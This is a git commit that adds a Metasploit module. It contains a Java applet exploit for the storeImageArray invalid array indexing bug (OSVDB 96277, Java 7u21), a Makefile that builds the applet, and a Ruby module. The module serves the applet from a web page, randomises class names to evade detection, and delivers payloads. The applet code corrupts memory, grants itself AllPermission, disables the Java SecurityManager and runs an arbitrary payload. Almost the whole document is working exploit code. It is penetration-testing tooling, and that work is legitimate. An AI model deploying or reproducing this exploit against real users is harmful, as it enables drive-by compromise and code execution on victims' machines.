Add Port for OSVDB 96277
parent
79acc96e9a
commit
cc5804f5f3
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,197 @@
|
|||
import java.awt.image.*;
|
||||
import java.awt.color.*;
|
||||
import java.beans.Statement;
|
||||
import java.security.*;
|
||||
import metasploit.Payload;
|
||||
import java.applet.Applet;
|
||||
|
||||
public class Exploit extends Applet {
|
||||
|
||||
public void init() {
|
||||
|
||||
try {
|
||||
|
||||
// try several attempts to exploit
|
||||
for(int i=1; i <= 5 && System.getSecurityManager() != null; i++){
|
||||
//System.out.println("Attempt #" + i);
|
||||
tryExpl();
|
||||
}
|
||||
|
||||
// check results
|
||||
if (System.getSecurityManager() == null) {
|
||||
// execute payload
|
||||
//Runtime.getRuntime().exec(_isMac ? "/Applications/Calculator.app/Contents/MacOS/Calculator":"calc.exe");
|
||||
Payload.main(null);
|
||||
}
|
||||
|
||||
} catch (Exception ex) {
|
||||
//ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public static String toHex(int i)
|
||||
{
|
||||
return Integer.toHexString(i);
|
||||
}
|
||||
|
||||
private boolean _is64 = System.getProperty("os.arch","").contains("64");
|
||||
|
||||
// we will need ColorSpace which returns 1 from getNumComponents()
|
||||
class MyColorSpace extends ICC_ColorSpace
|
||||
{
|
||||
public MyColorSpace()
|
||||
{
|
||||
super(ICC_Profile.getInstance(ColorSpace.CS_sRGB));
|
||||
}
|
||||
|
||||
// override getNumComponents
|
||||
public int getNumComponents()
|
||||
{
|
||||
int res = 1;
|
||||
return res;
|
||||
}
|
||||
}
|
||||
|
||||
// we will need ComponentColorModel with the obedient isCompatibleRaster() which always returns true.
|
||||
class MyColorModel extends ComponentColorModel
|
||||
{
|
||||
public MyColorModel()
|
||||
{
|
||||
super(new MyColorSpace(), new int[]{8,8,8}, false, false, 1, DataBuffer.TYPE_BYTE);
|
||||
}
|
||||
|
||||
// override isCompatibleRaster
|
||||
public boolean isCompatibleRaster(Raster r)
|
||||
{
|
||||
boolean res = true;
|
||||
return res;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private int tryExpl()
|
||||
{
|
||||
try {
|
||||
// alloc aux vars
|
||||
String name = "setSecurityManager";
|
||||
Object[] o1 = new Object[1];
|
||||
Object o2 = new Statement(System.class, name, o1); // make a dummy call for init
|
||||
|
||||
// allocate byte buffer for destination Raster.
|
||||
DataBufferByte dst = new DataBufferByte(16);
|
||||
|
||||
// allocate the target array right after dst
|
||||
int[] a = new int[8];
|
||||
// allocate an object array right after a[]
|
||||
Object[] oo = new Object[7];
|
||||
|
||||
// create Statement with the restricted AccessControlContext
|
||||
oo[2] = new Statement(System.class, name, o1);
|
||||
|
||||
// create powerful AccessControlContext
|
||||
Permissions ps = new Permissions();
|
||||
ps.add(new AllPermission());
|
||||
oo[3] = new AccessControlContext(
|
||||
new ProtectionDomain[]{
|
||||
new ProtectionDomain(
|
||||
new CodeSource(
|
||||
new java.net.URL("file:///"),
|
||||
new java.security.cert.Certificate[0]
|
||||
),
|
||||
ps
|
||||
)
|
||||
}
|
||||
);
|
||||
|
||||
// store System.class pointer in oo[]
|
||||
oo[4] = ((Statement)oo[2]).getTarget();
|
||||
|
||||
// save old a.length
|
||||
int oldLen = a.length;
|
||||
//System.out.println("a.length = 0x" + toHex(oldLen));
|
||||
|
||||
// create regular source image
|
||||
BufferedImage bi1 = new BufferedImage(4,1, BufferedImage.TYPE_INT_ARGB);
|
||||
|
||||
// prepare the sample model with "dataBitOffset" pointing outside dst[] onto a.length
|
||||
MultiPixelPackedSampleModel sm = new MultiPixelPackedSampleModel(DataBuffer.TYPE_BYTE, 4,1,1,4, 44 + (_is64 ? 8:0));
|
||||
// create malformed destination image based on dst[] data
|
||||
WritableRaster wr = Raster.createWritableRaster(sm, dst, null);
|
||||
BufferedImage bi2 = new BufferedImage(new MyColorModel(), wr, false, null);
|
||||
|
||||
// prepare first pixel which will overwrite a.length
|
||||
bi1.getRaster().setPixel(0,0, new int[]{-1,-1,-1,-1});
|
||||
|
||||
// call the vulnerable storeImageArray() function (see ...\jdk\src\share\native\sun\awt\medialib\awt_ImagingLib.c)
|
||||
AffineTransformOp op = new AffineTransformOp(new java.awt.geom.AffineTransform(1,0,0,1,0,0), null);
|
||||
op.filter(bi1, bi2);
|
||||
|
||||
// check results: a.length should be overwritten by 0xFFFFFFFF
|
||||
int len = a.length;
|
||||
//System.out.println("a.length = 0x" + toHex(len));
|
||||
if (len == oldLen) {
|
||||
// check a[] content corruption // for RnD
|
||||
for(int i=0; i < len; i++) {
|
||||
if (a[i] != 0) {
|
||||
//System.out.println("a["+i+"] = 0x" + toHex(a[i]));
|
||||
}
|
||||
}
|
||||
// exit
|
||||
//System.out.println("error 1");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// ok, now we can read/write outside the real a[] storage,
|
||||
// lets find our Statement object and replace its private "acc" field value
|
||||
|
||||
// search for oo[] after a[oldLen]
|
||||
boolean found = false;
|
||||
int ooLen = oo.length;
|
||||
for(int i=oldLen+2; i < oldLen+32; i++)
|
||||
if (a[i-1]==ooLen && a[i]==0 && a[i+1]==0 // oo[0]==null && oo[1]==null
|
||||
&& a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0 // oo[2,3,4] != null
|
||||
&& a[i+5]==0 && a[i+6]==0) // oo[5,6] == null
|
||||
{
|
||||
// read pointer from oo[4]
|
||||
int stmTrg = a[i+4];
|
||||
// search for the Statement.target field behind oo[]
|
||||
for(int j=i+7; j < i+7+64; j++){
|
||||
if (a[j] == stmTrg) {
|
||||
// overwrite default Statement.acc by oo[3] ("AllPermission")
|
||||
a[j-1] = a[i+3];
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (found) break;
|
||||
}
|
||||
|
||||
// check results
|
||||
if (!found) {
|
||||
// print the memory dump on error // for RnD
|
||||
String s = "a["+oldLen+"...] = ";
|
||||
for(int i=oldLen; i < oldLen+32; i++) s += toHex(a[i]) + ",";
|
||||
//System.out.println(s);
|
||||
} else try {
|
||||
|
||||
// call System.setSecurityManager(null)
|
||||
((Statement)oo[2]).execute();
|
||||
|
||||
// show results: SecurityManager should be null
|
||||
} catch (Exception ex) {
|
||||
//ex.printStackTrace();
|
||||
}
|
||||
|
||||
//System.out.println(System.getSecurityManager() == null ? "Ok.":"Fail.");
|
||||
|
||||
} catch (Exception ex) {
|
||||
//ex.printStackTrace();
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,14 @@
|
|||
CLASSES = Exploit.java
|
||||
|
||||
.SUFFIXES: .java .class
|
||||
.java.class:
|
||||
javac -source 1.2 -target 1.2 -cp "../../../../data/java" Exploit.java
|
||||
|
||||
all: $(CLASSES:.java=.class)
|
||||
|
||||
install:
|
||||
mv *.class ../../../../data/exploits/jre17u21/
|
||||
|
||||
clean:
|
||||
rm -rf *.class
|
||||
|
|
@ -0,0 +1,154 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GreatRanking # Because there isn't click2play bypass, plus now Java Security Level High by default
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
autopwn_info({ :javascript => false })
|
||||
|
||||
def initialize( info = {} )
|
||||
super( update_info( info,
|
||||
'Name' => 'Java storeImageArray() Invalid Array Indexing Vulnerability',
|
||||
'Description' => %q{
|
||||
This module abuses an Invalid Array Indexing Vulnerability on the
|
||||
IntegerInterleavedRaster.verify() function in order to produce a
|
||||
memory corruption and finally escape the Java Sandbox. The vulnerability
|
||||
affects Java version 7u21 and earlier. The module, which doesn't bypass
|
||||
click2play, has been tested successfully on Java 7u21 on Windows and
|
||||
Linux systems.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # From PacketStorm
|
||||
'sinn3r', # Metasploit
|
||||
'juan vazquez' # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '96277' ],
|
||||
[ 'EDB', '27526' ]
|
||||
],
|
||||
'Platform' => [ 'java', 'win', 'linux' ],
|
||||
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Generic (Java Payload)',
|
||||
{
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Platform' => 'java'
|
||||
}
|
||||
],
|
||||
[ 'Windows Universal',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win'
|
||||
}
|
||||
],
|
||||
[ 'Linux x86',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Aug 12 2013'
|
||||
))
|
||||
end
|
||||
|
||||
def setup
|
||||
path = File.join(Msf::Config.install_root, "data", "exploits", "jre17u21", "Exploit.class")
|
||||
@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
|
||||
path = File.join(Msf::Config.install_root, "data", "exploits", "jre17u21", "Exploit$MyColorModel.class")
|
||||
@color_model_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
|
||||
path = File.join(Msf::Config.install_root, "data", "exploits", "jre17u21", "Exploit$MyColorSpace.class")
|
||||
@color_space_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
|
||||
|
||||
@exploit_class_name = rand_text_alpha("Exploit".length)
|
||||
@color_model_class_name = rand_text_alpha("MyColorModel".length)
|
||||
@color_space_class_name = rand_text_alpha("MyColorSpace".length)
|
||||
|
||||
@exploit_class.gsub!("Exploit", @exploit_class_name)
|
||||
@exploit_class.gsub!("MyColorModel", @color_model_class_name)
|
||||
@exploit_class.gsub!("MyColorSpace", @color_space_class_name)
|
||||
|
||||
@color_model_class.gsub!("Exploit", @exploit_class_name)
|
||||
@color_model_class.gsub!("MyColorModel", @color_model_class_name)
|
||||
@color_model_class.gsub!("MyColorSpace", @color_space_class_name)
|
||||
|
||||
|
||||
@color_space_class.gsub!("Exploit", @exploit_class_name)
|
||||
@color_space_class.gsub!("MyColorModel", @color_model_class_name)
|
||||
@color_space_class.gsub!("MyColorSpace", @color_space_class_name)
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def on_request_uri( cli, request )
|
||||
print_debug("Requesting: #{request.uri}")
|
||||
if request.uri !~ /\.jar$/i
|
||||
if not request.uri =~ /\/$/
|
||||
print_status("Sending redirect...")
|
||||
send_redirect(cli, "#{get_resource}/", '')
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Sending HTML...")
|
||||
send_response_html(cli, generate_html, {'Content-Type'=>'text/html'})
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Sending .jar file...")
|
||||
send_response(cli, generate_jar(cli), {'Content-Type'=>'application/java-archive'})
|
||||
|
||||
handler( cli )
|
||||
end
|
||||
|
||||
def generate_html
|
||||
jar_name = rand_text_alpha(5+rand(3))
|
||||
html = %Q|<html>
|
||||
<head>
|
||||
</head>
|
||||
<body>
|
||||
<applet archive="#{jar_name}.jar" code="#{@exploit_class_name}" width="1000" height="1000">
|
||||
</applet>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
html = html.gsub(/^\t\t/, '')
|
||||
return html
|
||||
end
|
||||
|
||||
def generate_jar(cli)
|
||||
|
||||
p = regenerate_payload(cli)
|
||||
jar = p.encoded_jar
|
||||
|
||||
jar.add_file("#{@exploit_class_name}.class", @exploit_class)
|
||||
jar.add_file("#{@exploit_class_name}$#{@color_model_class_name}.class", @color_model_class)
|
||||
jar.add_file("#{@exploit_class_name}$#{@color_space_class_name}.class", @color_space_class)
|
||||
metasploit_str = rand_text_alpha("metasploit".length)
|
||||
payload_str = rand_text_alpha("payload".length)
|
||||
jar.entries.each { |entry|
|
||||
entry.name.gsub!("metasploit", metasploit_str)
|
||||
entry.name.gsub!("Payload", payload_str)
|
||||
entry.data = entry.data.gsub("metasploit", metasploit_str)
|
||||
entry.data = entry.data.gsub("Payload", payload_str)
|
||||
}
|
||||
jar.build_manifest
|
||||
|
||||
return jar.pack
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue